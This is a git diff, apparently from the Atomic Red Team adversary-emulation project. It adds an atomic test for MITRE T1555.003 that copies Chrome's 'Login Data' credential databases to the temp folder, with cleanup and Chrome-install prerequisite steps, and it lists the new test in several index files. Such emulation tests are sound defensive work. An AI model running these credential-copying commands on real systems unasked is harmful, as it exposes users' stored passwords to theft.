diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv index b0bb53c5..04c2305d 100644 --- a/atomics/Indexes/Indexes-CSV/index.csv +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -21,6 +21,7 @@ credential-access,T1555,Credentials from Password Stores,5,Enumerate credentials credential-access,T1555.003,Credentials from Web Browsers,1,Run Chrome-password Collector,8c05b133-d438-47ca-a630-19cc464c4622,powershell credential-access,T1555.003,Credentials from Web Browsers,2,Search macOS Safari Cookies,c1402f7b-67ca-43a8-b5f3-3143abedc01b,sh credential-access,T1555.003,Credentials from Web Browsers,3,LaZagne - Credentials from Browser,9a2915b3-3954-4cce-8c76-00fbf4dbd014,command_prompt +credential-access,T1555.003,Credentials from Web Browsers,4,Simulating access to Chrome Login Data,3d111226-d09a-4911-8715-fe11664f960d,powershell credential-access,T1552.002,Credentials in Registry,1,Enumeration for Credentials in Registry,b6ec082c-7384-46b3-a111-9a9b8b14e5e7,command_prompt credential-access,T1552.002,Credentials in Registry,2,Enumeration for PuTTY Credentials in Registry,af197fd7-e868-448e-9bd5-05d1bcd9d9e5,command_prompt credential-access,T1003.006,DCSync,1,DCSync (Active Directory),129efd28-8497-4c87-a1b0-73b9a870ca3e,command_prompt diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv index 0b1d4f57..63a59154 100644 --- a/atomics/Indexes/Indexes-CSV/windows-index.csv +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -10,6 +10,7 @@ credential-access,T1555,Credentials from Password Stores,4,Enumerate credentials credential-access,T1555,Credentials from Password Stores,5,Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials],bc071188-459f-44d5-901a-f8f2625b2d2e,powershell credential-access,T1555.003,Credentials from Web Browsers,1,Run Chrome-password Collector,8c05b133-d438-47ca-a630-19cc464c4622,powershell credential-access,T1555.003,Credentials from Web Browsers,3,LaZagne - Credentials from Browser,9a2915b3-3954-4cce-8c76-00fbf4dbd014,command_prompt +credential-access,T1555.003,Credentials from Web Browsers,4,Simulating access to Chrome Login Data,3d111226-d09a-4911-8715-fe11664f960d,powershell credential-access,T1552.002,Credentials in Registry,1,Enumeration for Credentials in Registry,b6ec082c-7384-46b3-a111-9a9b8b14e5e7,command_prompt credential-access,T1552.002,Credentials in Registry,2,Enumeration for PuTTY Credentials in Registry,af197fd7-e868-448e-9bd5-05d1bcd9d9e5,command_prompt credential-access,T1003.006,DCSync,1,DCSync (Active Directory),129efd28-8497-4c87-a1b0-73b9a870ca3e,command_prompt diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md index f431715d..b0fa87ba 100644 --- a/atomics/Indexes/Indexes-Markdown/index.md +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -35,6 +35,7 @@ - Atomic Test #1: Run Chrome-password Collector [windows] - Atomic Test #2: Search macOS Safari Cookies [macos] - Atomic Test #3: LaZagne - Credentials from Browser [windows] + - Atomic Test #4: Simulating access to Chrome Login Data [windows] - [T1552.002 Credentials in Registry](../../T1552.002/T1552.002.md) - Atomic Test #1: Enumeration for Credentials in Registry [windows] - Atomic Test #2: Enumeration for PuTTY Credentials in Registry [windows] diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index 2abdf300..3b7aa2c0 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -20,6 +20,7 @@ - [T1555.003 Credentials from Web Browsers](../../T1555.003/T1555.003.md) - Atomic Test #1: Run Chrome-password Collector [windows] - Atomic Test #3: LaZagne - Credentials from Browser [windows] + - Atomic Test #4: Simulating access to Chrome Login Data [windows] - [T1552.002 Credentials in Registry](../../T1552.002/T1552.002.md) - Atomic Test #1: Enumeration for Credentials in Registry [windows] - Atomic Test #2: Enumeration for PuTTY Credentials in Registry [windows] diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index ebe36bf9..db076360 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -1412,6 +1412,34 @@ credential-access: name: command_prompt elevation_required: true command: "#{lazagne_path} browsers\n" + - name: Simulating access to Chrome Login Data + auto_generated_guid: 3d111226-d09a-4911-8715-fe11664f960d + description: "Simulates an adversary accessing encrypted credentials from Google + Chrome Login database. \n" + supported_platforms: + - windows + dependency_executor_name: powershell + dependencies: + - description: 'Chrome must be installed + +' + prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") + -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) + {exit 0} else {exit 1} + get_prereq_command: | + $installer = "$env:temp\ChromeStandaloneSetup64.msi" + Invoke-WebRequest -OutFile $env:temp\ChromeStandaloneSetup64.msi https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi + msiexec /i $installer /qn + Start-Process -FilePath "chrome.exe" + Stop-Process -Name "chrome" + executor: + name: powershell + command: | + Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination $env:temp + Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination $env:temp + cleanup_command: | + Remove-Item -Path "$env:temp\Login Data" -Force -ErrorAction Ignore + Remove-Item -Path "$env:temp\Login Data For Account" -Force -ErrorAction Ignore T1552.002: technique: created: '2020-02-04T12:58:40.678Z' diff --git a/atomics/T1555.003/T1555.003.md b/atomics/T1555.003/T1555.003.md index 0c352fe6..9177a073 100644 --- a/atomics/T1555.003/T1555.003.md +++ b/atomics/T1555.003/T1555.003.md @@ -18,6 +18,8 @@ After acquiring credentials from web browsers, adversaries may attempt to recycl - [Atomic Test #3 - LaZagne - Credentials from Browser](#atomic-test-3---lazagne---credentials-from-browser) +- [Atomic Test #4 - Simulating access to Chrome Login Data](#atomic-test-4---simulating-access-to-chrome-login-data) +
@@ -158,4 +160,54 @@ Invoke-WebRequest "https://github.com/AlessandroZ/LaZagne/releases/download/2.4. +
+
+ +## Atomic Test #4 - Simulating access to Chrome Login Data +Simulates an adversary accessing encrypted credentials from Google Chrome Login database. + +**Supported Platforms:** Windows + + +**auto_generated_guid:** 3d111226-d09a-4911-8715-fe11664f960d + + + + + + +#### Attack Commands: Run with `powershell`! + + +```powershell +Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination $env:temp +Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination $env:temp +``` + +#### Cleanup Commands: +```powershell +Remove-Item -Path "$env:temp\Login Data" -Force -ErrorAction Ignore +Remove-Item -Path "$env:temp\Login Data For Account" -Force -ErrorAction Ignore +``` + + + +#### Dependencies: Run with `powershell`! +##### Description: Chrome must be installed +##### Check Prereq Commands: +```powershell +if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1} +``` +##### Get Prereq Commands: +```powershell +$installer = "$env:temp\ChromeStandaloneSetup64.msi" +Invoke-WebRequest -OutFile $env:temp\ChromeStandaloneSetup64.msi https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi +msiexec /i $installer /qn +Start-Process -FilePath "chrome.exe" +Stop-Process -Name "chrome" +``` + + + +